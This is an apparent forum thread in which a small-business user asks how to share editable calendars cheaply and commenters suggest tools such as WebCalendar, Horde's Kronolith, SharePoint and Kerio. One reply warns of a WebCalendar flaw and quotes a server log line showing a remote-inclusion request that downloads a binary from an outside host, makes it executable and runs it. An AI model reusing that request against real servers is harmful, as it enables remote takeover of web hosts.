How To (Really) Share A Simple Calendar?

Lucas asks: "I run a small business as one of the people who 'knows something about computers', which now means, like many of you, I find myself having to solve IT problems. We have been trying to share maybe three simple, stupid calendars. Here's the catch -- we need to able to edit each other's calendars! This is where the problem comes in. We tried Mozilla Calendar/Sunbird with a WebDAV server (even though it deleted two calendars upon upload and barfed on a third, my office loves Sunbird's interface), OfficeZilla (too complicated for just one calendar), Calendars.net (too slow), ACT! (bolted on and expensive), and Yahoo (not designed for corporate stuff). Even iCal won't let you edit someone else's calendar. Is there any way to do this -reliably- without using MS Exchange and without spending a ton of money?"

Comments

webcalendar

[haydenth]

I use (and love)webcalendar.

Re:webcalendar

[B00yah]

Be careful. I ran in to an issue with web calendar 1.0.1, where someone used a php vulnerability built in to the reminder function to upload and execute remote software.

212.138.47.24 - - [29/Aug/2005:14:01:50 -0500] "GET /calendar/tools/send_reminders.php?includedir=http ://aimbig.co.kr/readme/img/.nd1.dat?&cmd=cd%20/tmp ;wget%20http://www.fullteam.net/xpl/r0nin;chmod%20 777%20r0nin;./r0nin HTTP/1.0" 200 17169 "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)"

Kerio MailServer

[johnjones]

there are many ways of doing what you want

you can use webserver with a web calendar or various custom applications depending on how you work

Or

You could use Kerio Mail server this allows multiple people access to a calendar i.e. a shared calendar for the web and Microsoft Outlook

see Kerio MailServer

regards

John Jones

discalimer I work for Kerio

Horde

[rmm4pi8]

The best simple solution is Horde and its Kronolith calendaring application. Lets you set up shared calendars and set editing permissions. Doesn't automatically figure out when meeting times will work for everyone, but it's easy and it will do your email, tasks, and time-tracking as well. If you need any help setting it up, check the mailing lists or just email me (I worked on Horde for my Summer of Code project).

SharePoint

[skwirlmaster]

Well, it seems you have a windows environment, but don't want to purchase exchange. There is another tool, Windows SharePoint Services. It can be configure to have a calendar for each member. It is free, but it requires IIS 6, Win2k3, and SQL Server or the free data engine thingy.
There is a catch, you have to use the web interface to edit the calendars. You can always set that up to open in outlook.
We use it for an office calendar, useful!

Avalon Business Systems

[Johnso]

My small IT office uses the Avalon Management Suite from Avalon Business Systems. It's a complete productivity suite which might be overkill for you, but it has the best group-based calendar I've ever seen.

You can set up permissions so that you can create your own appointments, create others, or suggest others which are put into a "pending" approval queue. It's all web-based and sexy as hell.

I'm not sure how much it costs, but you can probably get just the features you want. I can vouch that pretty much every aspect of it is great.

I've done it with InsightServer

[scumdamn]

The requirements for one job I've done was that the calendar had to work with Outlook and had to basically look just like Exchange to the people in the office. I went with InsightServer running on a RedHat Linux server. it cost a lot less than Exchange and it works great. It's been running for about two years now without any problems. The only issue we've had so far is Blackberry support. Feel free to ask me any questions if you decide to go with it.

This works too

[tsm_sf]

dotProject is pretty good. Allows you to filter the display of entries, and if you'd combine that with a few user accounts that have access to each other's stuff it'd probably do the trick.

WebDAV Versioning

[Noksagt]

We tried Mozilla Calendar/Sunbird with a WebDAV server (even though it deleted two calendars upon upload and barfed on a third, my office loves Sunbird's interface)

I'm a huge fan of WebDAV+iCal & I suggest you try again & solve some of the problems you encountered. If needed, automatically backup your WebDAV content and/or choose a better WebDAV module. It is too bad that WebDAV doesn't have true versioning, but there are implementations which do DeltaV versioning, which would solve a lot of this.

Also look into the fledgling CalDAV implementations & projects like Hula (server) and Chandler (client). Very recent binaries of Sunbird also sport CalDAV support.

open-xchange

[gizmo_mathboy]

open-xchange is ok. It isn't Exchange but then again what is? I would really, really like to find a replacement for it.

There is a free version and a pay version.

Sunbird Deletes Calanders! (But it's fixable)

[zulux]

When you have a WebDAV server setup and have Sunbird/Mozilla Calander setup - it will delete calendars that have zero items. Delete the last item in your calendar, and POOF, you have a zero byte .ics file. Once you begin to use your calendar, this problem goes away. But when you're just testing things it looks like a show stopper.

Re:MS does have things that are worth the money

[jrockway]

M-x calendar serves all of my team's calendaring needs. Check the plain text file into and out of CVS and you have distributed calendaring with revision control.

Oh, but that doesn't cost hundreds of thousands of dollars or have a shiny GUI. Boo fucking hoo. Fuck Windows, and fuck Microsoft.

Various good web-based options.

[Domini]

In order of preference:

1. horde-kronolith http://www.horde.org/kronolith/ (horde suite is quite comprehensive and easy to set up)
2. webcalendar http://www.k5n.us/webcalendar.php
3. MediaWiki with calendar plugin (a little bit tricky to set up, and not as great to use as previous two)

Basically the shared feature of horde is pretty powerfull with a good rights-system. They also alow calendars to be exported etc.

Check them out.